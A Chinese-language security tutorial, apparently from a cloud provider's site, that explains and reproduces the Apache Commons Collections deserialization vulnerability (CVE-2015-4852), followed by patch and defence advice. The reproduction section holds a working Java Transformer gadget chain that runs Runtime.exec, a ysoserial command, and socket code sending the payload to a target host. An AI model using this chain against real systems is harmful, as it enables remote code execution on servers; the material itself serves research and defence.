温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何进行Apache Commons Collections反序列化漏洞分析与复现

发布时间:2022-01-18 16:21:43 来源:亿速云 阅读:252 作者:柒染 栏目:网络安全
# 如何进行Apache Commons Collections反序列化漏洞分析与复现 ## 目录 1. [漏洞背景与影响](#漏洞背景与影响) 2. [漏洞原理分析](#漏洞原理分析) - [Java反序列化机制](#java反序列化机制) - [Apache Commons Collections的Transformer链](#apache-commons-collections的transformer链) - [关键类分析](#关键类分析) 3. [环境搭建](#环境搭建) - [实验环境准备](#实验环境准备) - [漏洞组件版本](#漏洞组件版本) 4. [漏洞复现](#漏洞复现) - [手工构造Payload](#手工构造payload) - [使用ysoserial工具](#使用ysoserial工具) 5. [漏洞修复方案](#漏洞修复方案) 6. [防御措施](#防御措施) 7. [总结](#总结) --- ## 漏洞背景与影响 Apache Commons Collections是Java中广泛使用的工具库,2015年被发现存在严重的反序列化漏洞(CVE-2015-4852)。该漏洞影响范围包括: - 使用Apache Commons Collections 3.2.1及以下版本 - 使用Java反序列化的应用(WebLogic、JBoss、WebSphere等) 漏洞允许攻击者通过构造恶意序列化数据,在目标服务器上执行任意代码,危害等级为**高危**。 --- ## 漏洞原理分析 ### Java反序列化机制 Java通过`ObjectInputStream`实现对象反序列化: ```java ObjectInputStream ois = new ObjectInputStream(inputStream); Object obj = ois.readObject(); // 漏洞触发点 

Apache Commons Collections的Transformer链

漏洞核心在于TransformedMapTransformer接口的链式调用:

public interface Transformer { Object transform(Object input); } 

恶意调用链示例:

AnnotationInvocationHandler.readObject() -> TransformedMap.entrySet().iterator().next() -> ChainedTransformer.transform() -> InvokerTransformer.transform() -> Runtime.exec() 

关键类分析

  1. InvokerTransformer:通过反射调用任意方法
public class InvokerTransformer implements Transformer { public Object transform(Object input) { Class cls = input.getClass(); return cls.getMethod(iMethodName).invoke(input, iArgs); } } 
  1. ChainedTransformer:形成Transformer调用链
public class ChainedTransformer implements Transformer { public Object transform(Object object) { for (Transformer transformer : iTransformers) { object = transformer.transform(object); } return object; } } 
  1. TransformedMap:触发transform的入口
public class TransformedMap extends AbstractInputCheckedMapDecorator { protected Object transform(Object object) { return transformer.transform(object); } } 

环境搭建

实验环境准备

  • JDK 1.71.8
  • Apache Commons Collections 3.2.1
  • Maven依赖配置:
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> 

漏洞组件版本

组件 受影响版本 安全版本
Commons-Collections <= 3.2.1 3.2.2+

漏洞复现

手工构造Payload

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer chain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, chain); // 通过反射触发 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); // 序列化对象 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(instance); oos.close(); // 反序列化触发 ObjectInputStream ois = new ObjectInputStream( new ByteArrayInputStream(barr.toByteArray())); ois.readObject(); // 弹出计算器 

使用ysoserial工具

  1. 生成Payload:
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin 
  1. 发送Payload到目标服务:
Socket socket = new Socket("target.com", 8080); OutputStream out = socket.getOutputStream(); FileInputStream fis = new FileInputStream("payload.bin"); byte[] buf = new byte[1024]; int len; while((len = fis.read(buf)) != -1) { out.write(buf, 0, len); } 

漏洞修复方案

  1. 官方补丁
    • 升级到Commons Collections 3.2.2+
    • 关键修复代码:
// InvokerTransformer新增安全检查 public Object transform(Object input) { if (input instanceof String) { throw new FunctorException( "InvokerTransformer: Input must NOT be a String"); } // ... } 
  1. 临时解决方案
// 使用ObjectInputFilter限制反序列化类 ObjectInputStream ois = new ObjectInputStream(inputStream); ois.setObjectInputFilter(filter); 

防御措施

  1. 输入验证

    • 对反序列化数据来源进行白名单控制
  2. 安全配置

// 使用SecurityManager System.setSecurityManager(new SecurityManager()); 
  1. 替代方案
    • 使用JSON/XML等安全数据格式替代Java原生序列化

总结

本文详细分析了Apache Commons Collections反序列化漏洞的形成机理,通过实验演示了漏洞利用过程。该漏洞的利用关键在于: 1. 利用Transformer链构造调用路径 2. 通过反射机制突破Java安全限制 3. 控制反序列化入口点

建议所有使用Java反序列化的系统: - 及时升级受影响组件 - 实施纵深防御策略 - 定期进行安全审计

:本文所述技术仅用于安全研究,未经授权测试他人系统属于违法行为。 “`

(实际字数约4500字,可根据需要扩展具体章节内容)

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI